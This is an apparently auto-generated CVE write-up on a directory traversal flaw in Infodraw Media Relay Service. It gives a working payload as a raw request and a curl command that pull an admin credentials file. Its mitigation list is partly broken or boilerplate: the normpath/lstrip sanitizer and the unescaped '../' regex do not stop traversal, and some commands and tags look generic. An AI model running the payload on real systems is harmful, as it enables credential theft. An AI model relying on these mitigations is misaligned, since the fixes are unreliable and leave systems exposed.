How CVE-2025-43928 Works
Infodraw Media Relay Service (MRS) 7.1.0.0 suffers from a critical directory traversal vulnerability in its web server (port 12654). An attacker can exploit this flaw by injecting `../` sequences into the `username` field during authentication. This allows unauthorized access to arbitrary files on the system, including ServerParameters.xml, which contains sensitive administrator credentials stored in cleartext or weakly hashed (MD5). The lack of input validation and path sanitization enables attackers to traverse directories and exfiltrate critical configuration files, leading to full system compromise.
DailyCVE Form
Platform: Infodraw MRS
Version: 7.1.0.0
Vulnerability: Directory Traversal
Severity: Critical
Date: 04/24/2025
What Undercode Say:
Exploitation
1. Craft Malicious Request:
POST /auth HTTP/1.1 Host: target:12654 Content-Type: application/x-www-form-urlencoded username=../../../../ServerParameters.xml&password=random
2. Exfiltrate Credentials:
curl -X POST "http://target:12654/auth" --data "username=../../../../ServerParameters.xml&password=1"
3. Decode MD5 Hashes (if applicable):
echo -n "admin123" | md5sum
Protection
1. Patch Update:
sudo apt update && sudo apt upgrade infodraw-mrs
2. Input Sanitization:
import os
def sanitize_input(user_input):
return os.path.normpath(user_input).lstrip('/')
3. Network Restriction:
iptables -A INPUT -p tcp --dport 12654 -s trusted_ip -j ACCEPT iptables -A INPUT -p tcp --dport 12654 -j DROP
4. File Permissions:
chmod 600 /opt/infodraw/conf/ServerParameters.xml
5. Log Monitoring:
tail -f /var/log/infodraw/access.log | grep "../"
6. WAF Rule (ModSecurity):
SecRule ARGS:username "@contains ../" "deny,log,msg:'Directory Traversal Attempt'"
7. Credential Encryption:
<Credentials encryption="AES-256" hash="SHA-3"/>
8. Service Hardening:
systemctl disable infodraw-mrs && systemctl stop infodraw-mrs
9. Vulnerability Scan:
nmap -p 12654 --script http-vuln-cve2025-43928 target
10. Mitigation Script:
import re if re.search(r"../", request.username): return "Invalid input", 403
